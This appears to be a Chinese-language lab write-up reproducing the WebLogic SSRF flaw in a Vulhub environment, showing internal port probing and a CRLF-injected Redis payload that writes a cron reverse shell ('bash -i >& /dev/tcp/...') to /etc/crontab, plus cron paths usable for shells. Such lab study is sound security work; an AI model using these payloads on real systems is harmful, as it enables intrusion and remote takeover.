Weblogic SSRF 漏洞复现

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

漏洞简介

SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。

本文前置知识

  • Burp Suite 的基本使用
  • SSRF的原理
  • Vulhub漏洞环境的搭建
  • wireshark的基本使用

测试工具

  • Burp Suite community edition
  • Firefox

漏洞环境搭建

通过vulhub一键搭建漏洞测试环境

docker-compose build
docker-compose up -d

漏洞复现

firefox设置代理到Burp Suite上,通过Burp Suite进行拦截抓包

访问漏洞点

我们复现的漏洞位于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp页面

page.png

点击Search按钮,即可触发漏洞点,在这里抓包
2.png

在这里我们可以看到,参数operator的值(protocol://ip:port)是我们可以控制的,网站会发送请求到该值的地址上,我们在operator中输入不同值可得到多种不同的报错,如下所示

几种情况

情况1:协议没写
operator=127.0.0.1:22

weblogic.uddi.client.structures.exception.XML_SoapException: no protocol: 127.0.0.1:22

情况2:端口不存在
operator=http://127.0.0.1:23

weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '23'

情况3:
operator=https://www.baidu.com

weblogic.uddi.client.structures.exception.XML_SoapException: FATAL Alert:BAD_CERTIFICATE - A corrupt or unuseable certificate was received.

情况4:端口存在
operator=http://127.0.0.1:7001

weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.

内网探测

端口可访问会返回一个status code
端口不可访问返回的报错信息包含关键词Tried all
通过不同的报错即可判断内网状态,从而探测内网信息。
可使用脚本对目标网络进行端口和服务扫描

这里可以根据vulhub上的POC可知内网中redis服务器为172.18.0.2:6379,设置operator=http://172.18.0.2:6379发包即可得到情况4的报错信息,从而可判断redis服务器的6379端口开放

坑点1:vulhub上给出的redis的ip地址与真实ip可能不在同一网段

在这里我遇到了第一个坑:
我设置参数operator=http://172.18.0.2:6379发送数据包之后,Burp收不到响应包,经过测试,发现真实地址位于http://172.21.0.2:6379。但是后来第二天我再进行测试的时候,redis的实际地址又变回了http://172.18.0.2:6379

我花了点时间找到了原因:
使用Docker开启漏洞环境的时候,会生成一个虚拟网卡,我们的漏洞环境的地址可以通过生成的虚拟网卡来找到,我们可以通过查询网络配置信息,找到该虚拟网卡的IP地址
linux用户可通过ip a命令查询

ipa.png

br-b2c1faee076c即为我们要找的网卡,目标位于172.20.0的网段上
windows用户可通过cmd使用命令ipconfig进行查询

攻击内网Redis反弹shell

给redis发送的HTTP请求,会被当成命令来执行
这里我们抓包看一下设置参数operator=http://172.18.0.2:6379发送数据包之后的通信过程
攻击机和weblogic之间的通信过程:

cap0.png

查看TCP流:

cap0-1.png

攻击机与weblogic建立tcp连接,发送POST请求,weblogic将网页内容通过TCP传输完成,返回状态吗200 OK,到此攻击机与weblogic的通信结束。
接下来weblogic向redis发送请求。

weblogic和redis服务器之间的通信过程:

cap1.png

查看TCP流:
cap1-1.png

weblogic的java会向redis服务器发送一个POST请求包,包内容如图上面红色部分,中间蓝色部分是redis服务器向weblogic的回包,可见,redis服务器会将请求的每一行都当做命令去执行,而POST请求头的内容都不是redis的命令,所以返回ERR unknown command

Weblogic的SSRF有一个特点,我们可以通过传入%0a%0d(也就是\r\n)来注入换行符,因为redis服务是通过换行符来分隔不同命令的,所以可以通过该SSRF攻击内网的Redis服务器

构造攻击payload如下(此处参考vulhub):

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.2.106/666 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

将反弹shell的脚本写入/etc/crontab(crontab是linux系统里的一个定时任务命令,可以设置定时任务)目标内网机器则会主动把shell弹到我们的攻击机192.168.2.106,此时在192.168.2.106上启用nc进行侦听nc -lp 666,稍等片刻,即可收到redis机器的的shell

shell.png

在这个构造payload攻击的过程下,weblogic和redis服务器之间的通信过程如下:

cap2.png

查看TCP流:
cap2-1.png

上面<?xml之前的红色部分为我们构造的请求,通过使用换行符,我们让攻击payload单独出现在一行里了,redis服务器收到请求,将每一行当做命令去执行,通过底下蓝色部分的回复可见,我们构造的那几行命令成功执行

关于crontab补充,以下内容来自vulhub:

最后补充一下,可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

参考文章链接

Vulhub‘s POC: https://vulhub.org/#/environments/weblogic/ssrf/
SSRF学习之路:https://www.freebuf.com/column/157466.html
利用WebLogic SSRF漏洞攻击内网Redis反弹shell:https://pino-hd.github.io/2018/06/19/%E5%88%A9%E7%94%A8WebLogic-SSRF%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91Redis%E5%8F%8D%E5%BC%B9shell/

最后,欢迎大家关注我的私人订阅号,会不定期更新各种树莓派各种玩法,靶场攻略,漏洞复现,挖洞、渗透经验分享等

订阅号.jpg

推荐阅读更多精彩内容